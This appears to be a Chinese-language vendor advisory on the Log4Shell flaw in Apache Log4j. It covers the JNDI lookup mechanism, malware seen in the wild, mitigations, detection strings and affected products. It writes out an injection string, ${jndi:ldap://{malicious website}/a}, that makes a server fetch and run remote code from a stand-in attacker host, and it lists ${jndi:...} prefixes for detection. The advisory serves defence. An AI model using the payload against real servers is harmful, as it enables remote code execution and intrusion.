Log4Shell 漏洞 (CVE-2021-44228) 最早是在 11 月 24 日經由私下管道通報給 Apache,並在 12 月 9 日發布的 Log4j 2.15.0 版當中已經修補。受此漏洞影響的軟體包括:Apache Struts、Apache Solr、Apache Druid、Elasticsearch、Apache Dubbo 及 VMware vCenter。
作者:Ranga Duraisamy、Ashish Verma 和 Miguel Carlo Ang
2021 年 12 月 13 日
Apache Log4j 這個為 Java 程式提供記錄檔功能的熱門程式套件被發現了一個漏洞,此漏洞已收錄到 CVE 資料庫 ( CVE-2021-44228 ) 並命名為「 Log4Shell」,駭客可藉由發送一種特別的記錄檔訊息來觸發這個漏洞。此漏洞最早是在 11 月 24 日經由私下管道通報給 Apache,並在 12 月 9 日發布的 Log4j 2.15.0 版當中已經修補。受此漏洞影響的軟體包括:Apache Struts、Apache Solr、Apache Druid、Elasticsearch、Apache Dubbo 及 VMware vCenter。趨勢科技開發了一個網頁式工具「 Log4j vulnerability tester」來協助使用者偵測其伺服器應用程式是否含有此漏洞。完整的趨勢科技解決方案清單,請參閱 我們的解決方案網頁。
Log4j 除了為 Java 提供記錄檔功能之外,還提供查詢的功能,可藉由一個條件表達式 ${some_expression} 來查尋某些字串並執行取代動作。Log4j 可查詢的內容包括 jndi、sys、env、java、lower、upper。JNDI查詢支援的通訊協定包括 LDAP、RMI、DNS 和 IIOP。所以,駭客可在記錄檔中加入一筆 JNDI 查詢表達式,詳細說明如下。
舉例來說,駭客可利用此功能來發送 HTTP 請求到某個網站伺服器 (這是我們目前看到最多的攻擊方式),這樣就會促使查詢 ( lookup) 功能去駭客掌控的 LDAP 伺服器下載並執行某個惡意的 Java 類別。最簡單的作法,駭客只需在記錄檔內加入以下這道表達式:
${jndi:ldap://{malicious website}/a}
這樣就可以執行位於 http://{malicious website}/{malicious.class} 的惡意 Java 程式碼。
目前網路上流傳的攻擊方式
目前,我們發現駭客會在含有前述漏洞的伺服器上植入 Mirai 殭屍網路變種和 Kinsing 挖礦程式。有些駭客使用的網址相當簡單,但也有些駭客會使用加密編碼的表達式來隱藏網路流量,範例請參閱本文末端。
攻擊流程
以下是駭客攻擊 Log4Shell 漏洞時可能採取的流程:
圖 1:Log4Shell 漏洞可能的攻擊流程。
突破防線
此漏洞來自於 log4j 2.x 的查詢 (lookup) 功能,當應用程式在呼叫此功能時,log4j 2.x 就會呼叫 format 功能來檢查記錄檔中是否含有特定字元「 ${」。如果有,就會呼叫查詢功能來尋找「${」之後的字串,並將找到的字串替換成之前找到的數值。有些查詢的方式非常特別,例如查詢 Java 命名空間與目錄服務介面 (Java Naming Directory Interface,簡稱 JNDI),它可用來讀取 JNDI 傳回的數值。
JNDI 查詢可支援多種通訊協定,如 LDAP 和 RMI。當記錄檔內含有 ${jndi:logging/context-name},查詢功能就會試圖尋找「jndi:logging/context-name」這串字。
如此一來,駭客就能先在他們所掌控的一個 LDAP 伺服器上植入一個惡意的 Java 類別,讓查詢功能來執行遠端 LDAP 伺服器上的惡意程式碼。
圖 2:${jndi:ldap://attacker-controlled-server}。
執行攻擊
一旦漏洞攻擊成功,視查詢網址 (URL) 的內容而定,伺服器接下來就會解讀字串的內容。包括執行某個 Java 類別、JavaScript 腳本和 Unix 指令列腳本等等。
橫向移動
此外,也可能下載 Cobeacon 元件來進行橫向移動。除了橫向移動之外,也可能讓系統感染勒索病毒,因為 Cobeacon 元件曾經出現在多起勒索病毒攻擊當中。
竊取登入憑證
此漏洞還可能讓駭客下載專門竊取登入憑證的惡意程式,例如:Kirabash。
圖 3:Kirabash 會將「/etc/passwd」和「/etc/shadow」兩個檔案外傳來竊取登入憑證。
衝擊
目前我們看到歹徒所下載的惡意程式是 Mirai 殭屍網路和 Kinsing 挖礦程式,可能造成的影響包括:
● 資源遭到挾持。挖礦程式會占用資源來進行虛擬加密貨幣挖礦。Mirai 則會將受害系統變成殭屍網路的一員,用來從事惡意活動,例如:分散● 式阻斷服務 (DDoS) 攻擊或散發垃圾郵件。
● 阻斷服務攻擊 (DoS)。Mirai 可在攻擊行動當中利用受害系統來發動 DDoS/DoS 攻擊。
修補與防範
雖然網路上目前流行的攻擊大多經由 HTTP 通訊協定,但此漏洞也可經由所有 Log4j 支援的通訊協定來發動。因此我們建議所有使用者都更新至 Log4j 2.15.0 版。此外,在漏洞修補之前,使用者還可透過以下步驟來防範此漏洞:
● 針對 log4j 版本 >=2.10 的系統:請將系統屬性「log4j2.formatMsgNoLookups」設定為「true」。
● 針對 log4j 版本 >=2.10 的系統:請將環境變數「LOG4J_FORMAT_MSG_NO_LOOKUPS」設定為「true」。
● 針對 log4j 版本為 2.0-beta9 到 2.10.0 的系統:請將 JndiLookup.class 從類別路徑 (class path) 當中移除:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
另一個建議的作法是限制出口流量只能經由必要的連接埠至連上網際網路。
很重要的一點是,前述建議步驟除了直接用到 Log4j 的情況需要修正之外,一些間接使用到 Log4j 的應用程式也需要修正,如下方的清單顯示,許多軟體廠商的產品都含有此漏洞。
偵測建議
請監控應用程式記錄檔來看看是否出現以下字串開頭的內容或含有加密編碼字串的類似內容:
● ${jndi:ldap:/}
● ${jndi:ldaps:/}
● ${jndi:rmi:/}
● ${jndi:dns:/}
● ${jndi:iiop:/}
含有此漏洞的產品、應用程式和擴充元件
有些使用了 Log4j 的程式套件也受到這個漏洞影響,詳細情形請參閱下表。
產品/應用程式/擴充功能 |
說明 |
詳細資訊 |
RedHat |
並非所有 RedHat 程式套件都含有此漏洞,但 Openshift 和 JBoss 有某些套件受到影響。 |
|
Jenkins |
雖然 Jenkins Core 本身不受影響,但 Jenkins 所安裝的擴充功能有可能用到含有漏洞的 Log4j 版本。此外,也有一個方法可以用來確認已安裝的擴充功能是否用到 Log4j。第二個連結提供了一份清單,裡面列出截至本文撰稿為止已知含有此漏洞的擴充元件版本。 |
https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ |
Apache Solr |
Apache Solr 7.4 之前的版本都受到影響。 |
https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228 |
VMWare |
有多項產品受到影響。 |
https://www.vmware.com/security/advisories/VMSA-2021-0028.html |
Citrix |
仍有待調查。 |
|
Atlassian |
若 Atlassian 預設的組態設定曾經修改過,就有可能受到影響。 |
https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html |
NetApp |
NetApp 有多項產品受到影響。 |
趨勢科技解決方案
請套用廠商釋出的修補更新來防範 Log4Shell 漏洞可能帶來的攻擊。此外,趨勢科技也釋出了補強一些規則、過濾條件和偵測功能來提供額外的防護並偵測這類攻擊相關的惡意元件。
我們也製作了一個網頁式快速掃描工具來檢查伺服器應用程式是否受到 Log4Shell 漏洞影響。請至:https://log4j-tester.trendmicro.com/。如需完整的趨勢科技解決方案清單,請參閱 我們的解決方案網頁。請觀賞影片來了解 Trend Micro™ Vision One 與 Cloud One 如何協助您發掘、偵測和防範 Log4Shell 漏洞。
相關的 MITRE ATT&CK 手法與技巧
入侵指標 (IoC)
完整的入侵指標清單請參考這份文字檔。在此特別感謝 Talos Intelligence 以及其他研究人員協助提供某些入侵指標。
原文出處:Patch Now:Apache Log4j Vulnerability Called Log4Shell Actively Exploited